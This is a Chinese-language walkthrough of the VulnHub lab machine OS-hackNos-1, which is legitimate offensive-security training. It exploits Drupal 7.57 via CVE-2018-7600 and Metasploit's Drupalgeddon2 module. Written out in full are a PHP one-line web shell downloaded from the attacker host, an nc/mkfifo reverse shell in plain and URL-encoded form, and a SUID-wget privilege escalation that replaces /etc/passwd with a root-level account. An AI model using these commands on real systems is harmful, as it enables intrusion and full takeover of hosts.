OS-HACKNOS-1

目录

介绍

难度:容易 ——> 中
flag: 两个, 一个是普通用户的user.txt、另外一个是root用户的user.txt
靶机的地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

有的靶机可能打开无法获取IP,解决办法:Vulnhub靶机检测不到IP

流程图
OS-HACKNOS-1

信息收集

主机发现

发现目标:nmap -sn 192.168.40.0/24
信息探测:nmap -A -p- 192.168.40.137
目标只开放了80端口和22端口
OS-HACKNOS-1

方法1

网站探测

网站长这样
OS-HACKNOS-1

目录扫描

gobuster目录扫描

Gobuster是Kali Linux默认安装的一款暴力扫描工具。它是使用Go语言编写的命令行工具,具备优异的执行效率和并发性能。该工具支持对子域名和Web目录进行基于字典的暴力扫描。不同于其他工具,该工具支持同时多扩展名破解,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。

工具的使用参见:https://blog.csdn.net/nzjdsds/article/details/86756828

gobuster dir -u http://192.168.40.137 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt

发现目录/drupal
OS-HACKNOS-1

访问一下看看:
OS-HACKNOS-1

获取到了后台,是drupal一个php的内容管理系统。可以下载一个系统来查看他的后台有那些目录,或者去查找相关的目录。

查看drupal版本

访问 http://192.168.40.137/drupal/CHANGELOG.txt
看到是 Drupal 7.57
OS-HACKNOS-1

搜索EXP

搜索网上有没有关于这个版本的exp,搜到了,并且有相关CVE编号,可以通过搜索编号查看到更多漏洞相关信息
OS-HACKNOS-1

  1. 下载EXP
git clone https://github.com/pimps/CVE-2018-7600.git

下载下来之后发现里面有2个python文件,选择第一个试试,根据title信息知道是符合靶机的版本的
OS-HACKNOS-1

OS-HACKNOS-1

RCE-信息收集

这里是需要是答案
OS-HACKNOS-1

查看文件内容

 python3 drupa7-CVE-2018-7600.py http://192.168.40.137/drupal/ -c "cat sites/default/settings.php"

OS-HACKNOS-1

 * array(
 *   'driver' => 'mysql',
 *   'database' => 'databasename',
 *   'username' => 'username',
 *   'password' => 'password',
 *   'host' => 'localhost',
 *   'port' => 3306,
 *   'prefix' => 'myprefix_',
 *   'collation' => 'utf8_general_ci',
 * );

收集到的信息先保存到本地,没准以后有用(实际没有用)
OS-HACKNOS-1

反弹shell

  1. kali本地准备一句话木马
<?php system($_POST['cmd']);?>
  1. kali开启web服务,方便靶机下载此木马文件
 python3 -m http.server 80

OS-HACKNOS-1

  1. 靶机获取一句话木马
python3 drupa7-CVE-2018-7600.py http://192.168.40.137/drupal/ -c "wget http://192.168.40.129/yjh.php"

OS-HACKNOS-1

  1. 测试木马,没问题,可以运行

OS-HACKNOS-1

这里也可以换用bp,都行。
OS-HACKNOS-1

  1. 确认靶机上面有nc,那就用nc来反弹shell

OS-HACKNOS-1

  1. 使用如下命令,由于是POST方法提交,所以需要做url编码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.129 9999 >/tmp/f

编码之后

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.40.129%209999%20%3E%2Ftmp%2Ff
  1. 反弹shell成功

OS-HACKNOS-1

如果希望获取完全交互式shell,参见之前的文章:https://www.yuque.com/u1881995/pborfs/vdg5x9#Mdjzh

目标1

目标1是拿到普通用户的user.txt,发现home目录下只有james,所以这唯一的普通用户就是目标1了。
OS-HACKNOS-1

OS-HACKNOS-1

获取james的账密

在shell的上级目录发现了alexander.txt
OS-HACKNOS-1

经过base64解码之后是个奇怪的东西
OS-HACKNOS-1

百度之后得知是一种加密方法,可以在线解密:https://www.splitbrain.org/services/ook
OS-HACKNOS-1

获得账号密码 james:Hacker@4514

切换身份

无论是shell中,还是ssh登录,都被拒绝。考虑怎么提权OS-HACKNOS-1
OS-HACKNOS-1

方法2

网站探测

dirb 目录扫描

dirb http://192.168.40.137

OS-HACKNOS-1

使用dirb 的GUI 版本dirbuster进一步挖掘网站

dirbuster挖掘drupal目录

  1. 准备字典

使用kali自带的大字典:gzip -d /usr/share/wordlists/rockyou.txt.gz
OS-HACKNOS-1

  1. 配置dirbuster

OS-HACKNOS-1

扫到了一个看似有用的文件
OS-HACKNOS-1

访问一下,是一个经过base64编码的文件
OS-HACKNOS-1

获取账号密码

根据这串base64,经过解码,再对解码后的内容解密。获得账号密码 james:Hacker@4514

登录网站

发现drupal运行7.57
OS-HACKNOS-1

msf拿session

根据drupal版本,经过网络搜索得知其存在drupalgeddon2远程代码执行

search Drupalgeddon2
use  exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.40.137
set targeturi /drupal
run

OS-HACKNOS-1

提权

先看看能不能suid提权

find / -perm -u=s -type f 2>/dev/null

看到了wget,以及passwd。接下来的思路就是先把靶机的passwd文件搞过来,在其中创建一个新用户,然后把新的passwd文件还回去即可在靶机上获取一个高权限用户。
OS-HACKNOS-1

  1. 通过OpenSSL passwd生成一个新的用户hacker,密码为hack123
openssl passwd -1 -salt hack hack123
  1. 构造一下hack用户的 /etc/passwd的内容
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash

注意:目标使用的是bash,不是zsh

  1. 把靶机的/etc/passwd复制一份到kali中

  1. 向靶机的/etc/passwd中追加一个新用户,追加到最后一行:
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> passwd
  1. 查看效果:tail passwd

OS-HACKNOS-1

  1. kali开启web服务
python3 -m http.server 80
  1. 靶机下载新的passwd来替换旧的passwd
wget http://192.168.40.129/passwd -O /etc/passwd

成功替换
OS-HACKNOS-1

目标2

OS-HACKNOS-1

查看一下ssh,发现ssh防护做的很好,只需要把目录给增强一下即可。
OS-HACKNOS-1

参考

Os-hackNos 1 Walkthrough

上一篇:Linux的三剑客


下一篇:string循环输入,Ctrl+z截止